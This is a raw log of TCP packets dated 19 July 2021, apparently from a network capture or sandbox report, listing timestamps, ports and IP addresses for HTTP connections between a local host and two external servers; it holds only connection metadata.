Jul 19, 2021 18:35:41.538980007 CEST	49772	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:41.539030075 CEST	80	49772	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:41.539051056 CEST	80	49772	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:41.539233923 CEST	49772	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:41.539244890 CEST	80	49772	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:41.544028997 CEST	49772	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:41.580935001 CEST	80	49772	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:41.583561897 CEST	49772	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:41.631416082 CEST	80	49772	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:41.631459951 CEST	80	49772	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:41.631485939 CEST	80	49772	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:41.632040977 CEST	80	49772	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:41.632174969 CEST	80	49772	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:41.632374048 CEST	80	49772	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:41.632505894 CEST	80	49772	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:41.635637045 CEST	49772	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:41.638799906 CEST	80	49772	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:41.638881922 CEST	80	49772	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:41.638911963 CEST	80	49772	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:41.676394939 CEST	80	49772	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:41.676429033 CEST	80	49772	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:41.730037928 CEST	80	49772	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:41.730060101 CEST	80	49772	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:41.740078926 CEST	80	49772	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:41.740314960 CEST	49772	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:41.972521067 CEST	49772	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:41.972548962 CEST	49773	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:42.056392908 CEST	80	49773	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.057013988 CEST	49773	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:42.057981014 CEST	49773	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:42.058162928 CEST	49773	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:42.058608055 CEST	49773	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:42.058805943 CEST	49773	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:42.066010952 CEST	80	49772	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.066145897 CEST	49772	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:42.143153906 CEST	80	49773	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.143280983 CEST	80	49773	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.143294096 CEST	80	49773	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.143416882 CEST	49773	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:42.143893957 CEST	80	49773	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.143990040 CEST	80	49773	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.143996000 CEST	49773	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:42.144092083 CEST	49773	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:42.144112110 CEST	80	49773	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.144434929 CEST	80	49773	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.144509077 CEST	49773	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:42.144678116 CEST	80	49773	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.144759893 CEST	49773	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:42.145195007 CEST	80	49773	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.145493031 CEST	80	49773	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.145608902 CEST	49773	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:42.145884037 CEST	80	49773	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.146122932 CEST	80	49773	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.146224022 CEST	49773	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:42.146241903 CEST	80	49773	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.146930933 CEST	49773	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:42.174511909 CEST	49774	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:42.226809978 CEST	80	49773	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.226847887 CEST	80	49773	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.226869106 CEST	80	49773	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.226948023 CEST	49773	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:42.226998091 CEST	49773	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:42.228739023 CEST	80	49773	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.228832960 CEST	80	49773	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.228965998 CEST	49773	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:42.229033947 CEST	49773	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:42.229157925 CEST	80	49773	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.229235888 CEST	49773	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:42.229636908 CEST	80	49773	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.229758024 CEST	49773	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:42.258213997 CEST	80	49774	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.258992910 CEST	49774	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:42.259552956 CEST	49774	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:42.309812069 CEST	80	49773	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.309849977 CEST	80	49773	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.309983969 CEST	49773	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:42.310302019 CEST	80	49773	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.312369108 CEST	80	49773	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.312391996 CEST	80	49773	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.312881947 CEST	80	49773	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.312977076 CEST	80	49773	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.313004017 CEST	80	49773	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.313018084 CEST	80	49773	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.313139915 CEST	80	49773	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.343190908 CEST	80	49774	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.353578091 CEST	80	49774	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.353678942 CEST	49774	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:42.357528925 CEST	49757	80	192.168.2.6	162.159.129.233
Jul 19, 2021 18:35:42.357724905 CEST	49775	80	192.168.2.6	162.159.129.233
Jul 19, 2021 18:35:42.393450975 CEST	80	49773	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.393487930 CEST	80	49773	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.393502951 CEST	80	49773	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.393520117 CEST	80	49773	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.398785114 CEST	80	49775	162.159.129.233	192.168.2.6
Jul 19, 2021 18:35:42.398814917 CEST	80	49757	162.159.129.233	192.168.2.6
Jul 19, 2021 18:35:42.398881912 CEST	49775	80	192.168.2.6	162.159.129.233
Jul 19, 2021 18:35:42.398947954 CEST	49757	80	192.168.2.6	162.159.129.233
Jul 19, 2021 18:35:42.399424076 CEST	49775	80	192.168.2.6	162.159.129.233
Jul 19, 2021 18:35:42.440551043 CEST	80	49775	162.159.129.233	192.168.2.6
Jul 19, 2021 18:35:42.452244997 CEST	80	49775	162.159.129.233	192.168.2.6
Jul 19, 2021 18:35:42.452290058 CEST	80	49775	162.159.129.233	192.168.2.6
Jul 19, 2021 18:35:42.453737974 CEST	80	49775	162.159.129.233	192.168.2.6
Jul 19, 2021 18:35:42.453811884 CEST	49775	80	192.168.2.6	162.159.129.233
Jul 19, 2021 18:35:42.453829050 CEST	49775	80	192.168.2.6	162.159.129.233
Jul 19, 2021 18:35:42.454054117 CEST	49775	80	192.168.2.6	162.159.129.233
Jul 19, 2021 18:35:42.454266071 CEST	80	49775	162.159.129.233	192.168.2.6
Jul 19, 2021 18:35:42.454287052 CEST	80	49775	162.159.129.233	192.168.2.6
Jul 19, 2021 18:35:42.454343081 CEST	49775	80	192.168.2.6	162.159.129.233
Jul 19, 2021 18:35:42.454902887 CEST	49775	80	192.168.2.6	162.159.129.233
Jul 19, 2021 18:35:42.509500027 CEST	49774	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:42.509514093 CEST	49773	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:42.510582924 CEST	49776	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:42.589520931 CEST	80	49776	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.592291117 CEST	49776	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:42.593055964 CEST	49776	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:42.593137026 CEST	49776	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:42.593364954 CEST	49776	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:42.593381882 CEST	80	49773	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.593450069 CEST	49773	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:42.593657970 CEST	49776	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:42.598279953 CEST	80	49774	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.598402023 CEST	49774	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:42.671895981 CEST	80	49776	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.671917915 CEST	80	49776	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.672033072 CEST	80	49776	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.672147989 CEST	49776	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:42.672415972 CEST	80	49776	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.672508955 CEST	49776	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:42.672775984 CEST	80	49776	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.672842026 CEST	49776	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:42.673130035 CEST	80	49776	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.673320055 CEST	80	49776	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.673422098 CEST	49776	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:42.673609972 CEST	80	49776	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.673748016 CEST	49776	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:42.673758030 CEST	49776	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:42.673842907 CEST	80	49776	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.673964024 CEST	80	49776	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.674040079 CEST	49776	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:42.674340963 CEST	80	49776	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.674412966 CEST	49776	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:42.674606085 CEST	80	49776	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.676984072 CEST	49776	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:42.750650883 CEST	80	49776	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.750678062 CEST	80	49776	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.750854015 CEST	49776	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:42.750988007 CEST	80	49776	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.751012087 CEST	80	49776	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.751066923 CEST	49776	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:42.751082897 CEST	49776	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:42.751422882 CEST	80	49776	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.752013922 CEST	80	49776	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.752144098 CEST	49776	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:42.752170086 CEST	49776	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:42.752278090 CEST	80	49776	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.752350092 CEST	49776	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:42.752388000 CEST	80	49776	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.753000021 CEST	49776	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:42.753572941 CEST	80	49776	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.755230904 CEST	49776	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:42.756373882 CEST	80	49776	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.759088993 CEST	49776	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:42.798351049 CEST	80	49776	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.799103975 CEST	49776	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:42.829493046 CEST	80	49776	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.829519987 CEST	80	49776	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.829660892 CEST	80	49776	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.829694986 CEST	49776	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:42.830982924 CEST	80	49776	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.831058025 CEST	80	49776	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.831177950 CEST	80	49776	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.832200050 CEST	80	49776	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.832425117 CEST	80	49776	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.834475040 CEST	80	49776	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.834580898 CEST	80	49776	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.837889910 CEST	80	49776	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.837944031 CEST	80	49776	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.877706051 CEST	80	49776	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.877732992 CEST	80	49776	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.908571959 CEST	80	49776	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.908596039 CEST	80	49776	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.925021887 CEST	80	49776	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:42.927928925 CEST	49776	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:43.169225931 CEST	49776	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:43.170010090 CEST	49777	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:43.248218060 CEST	80	49777	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:43.248405933 CEST	49777	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:43.249290943 CEST	49777	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:43.249325037 CEST	49777	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:43.249790907 CEST	49777	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:43.249996901 CEST	49777	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:43.258034945 CEST	80	49776	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:43.259149075 CEST	49776	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:43.326850891 CEST	80	49777	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:43.327151060 CEST	80	49777	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:43.327545881 CEST	80	49777	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:43.327621937 CEST	49777	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:43.327641964 CEST	80	49777	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:43.327687979 CEST	49777	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:43.328363895 CEST	80	49777	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:43.328391075 CEST	80	49777	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:43.328450918 CEST	49777	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:43.328830004 CEST	80	49777	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:43.329180956 CEST	80	49777	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:43.329258919 CEST	49777	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:43.329304934 CEST	80	49777	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:43.329782009 CEST	80	49777	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:43.329849005 CEST	49777	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:43.330105066 CEST	80	49777	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:43.330164909 CEST	49777	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:43.330462933 CEST	80	49777	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:43.331089020 CEST	49777	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:43.405484915 CEST	80	49777	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:43.405509949 CEST	80	49777	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:43.405518055 CEST	80	49777	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:43.405704975 CEST	49777	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:43.406037092 CEST	80	49777	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:43.406111956 CEST	49777	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:43.406141043 CEST	80	49777	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:43.406647921 CEST	80	49777	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:43.406747103 CEST	49777	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:43.406804085 CEST	80	49777	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:43.407207012 CEST	49777	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:43.407244921 CEST	80	49777	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:43.407335997 CEST	80	49777	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:43.407437086 CEST	49777	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:43.408410072 CEST	80	49777	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:43.411250114 CEST	49777	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:43.448842049 CEST	80	49777	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:43.451329947 CEST	49777	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:43.483365059 CEST	80	49777	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:43.483659983 CEST	80	49777	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:43.483673096 CEST	80	49777	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:43.483736992 CEST	80	49777	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:43.483813047 CEST	49777	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:43.484443903 CEST	80	49777	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:43.484462023 CEST	80	49777	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:43.484891891 CEST	80	49777	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:43.484905958 CEST	80	49777	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:43.484911919 CEST	80	49777	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:43.484926939 CEST	80	49777	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:43.484993935 CEST	80	49777	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:43.488625050 CEST	80	49777	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:43.488714933 CEST	80	49777	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:43.488873005 CEST	80	49777	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:43.528881073 CEST	80	49777	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:43.532504082 CEST	80	49777	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:43.561608076 CEST	80	49777	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:43.561635017 CEST	80	49777	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:43.561927080 CEST	80	49777	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:43.562045097 CEST	80	49777	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:43.570544958 CEST	80	49777	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:43.571079969 CEST	49777	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:43.769881964 CEST	49777	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:43.771723986 CEST	49778	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:43.847249985 CEST	80	49777	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:43.847368002 CEST	49777	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:43.849642038 CEST	80	49778	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:43.849776030 CEST	49778	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:43.850699902 CEST	49778	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:43.850847006 CEST	49778	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:43.851279020 CEST	49778	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:43.851427078 CEST	49778	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:43.929651022 CEST	80	49778	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:43.929671049 CEST	80	49778	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:43.929733038 CEST	80	49778	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:43.929800987 CEST	49778	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:43.930090904 CEST	80	49778	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:43.930160999 CEST	49778	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:43.930490017 CEST	80	49778	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:43.930547953 CEST	49778	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:43.930614948 CEST	80	49778	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:43.930668116 CEST	49778	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:43.930762053 CEST	80	49778	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:43.930811882 CEST	49778	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:43.931046009 CEST	80	49778	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:43.931101084 CEST	49778	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:43.931219101 CEST	80	49778	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:43.931274891 CEST	49778	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:43.931338072 CEST	80	49778	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:43.931391954 CEST	49778	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:43.931727886 CEST	80	49778	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:43.931788921 CEST	49778	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:43.932212114 CEST	80	49778	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:43.932282925 CEST	49778	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:43.932773113 CEST	80	49778	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:43.932832956 CEST	49778	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:44.008117914 CEST	80	49778	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:44.008142948 CEST	80	49778	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:44.008250952 CEST	49778	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:44.008405924 CEST	80	49778	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:44.008440018 CEST	80	49778	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:44.008452892 CEST	80	49778	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:44.008486032 CEST	49778	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:44.008512974 CEST	80	49778	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:44.008541107 CEST	49778	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:44.008599997 CEST	80	49778	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:44.008630991 CEST	49778	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:44.008694887 CEST	49778	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:44.008919001 CEST	80	49778	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:44.008989096 CEST	49778	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:44.009284019 CEST	80	49778	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:44.009361029 CEST	49778	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:44.009391069 CEST	80	49778	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:44.009459972 CEST	49778	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:44.010121107 CEST	80	49778	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:44.010205984 CEST	49778	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:44.010679960 CEST	80	49778	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:44.010756016 CEST	49778	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:44.053283930 CEST	80	49778	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:44.053436041 CEST	49778	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:44.086340904 CEST	80	49778	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:44.086381912 CEST	80	49778	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:44.086532116 CEST	49778	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:44.086538076 CEST	80	49778	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:44.086668968 CEST	80	49778	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:44.086815119 CEST	80	49778	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:44.088372946 CEST	80	49778	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:44.088588953 CEST	80	49778	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:44.088742018 CEST	80	49778	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:44.131778955 CEST	80	49778	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:44.131798029 CEST	80	49778	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:44.164577007 CEST	80	49778	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:44.164695978 CEST	80	49778	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:44.164710045 CEST	80	49778	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:44.164719105 CEST	80	49778	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:44.164731979 CEST	80	49778	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:44.261030912 CEST	49778	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:44.262761116 CEST	49779	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:44.339071989 CEST	80	49778	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:44.339210033 CEST	49778	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:44.345927000 CEST	80	49779	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:44.346076012 CEST	49779	80	192.168.2.6	185.114.247.54
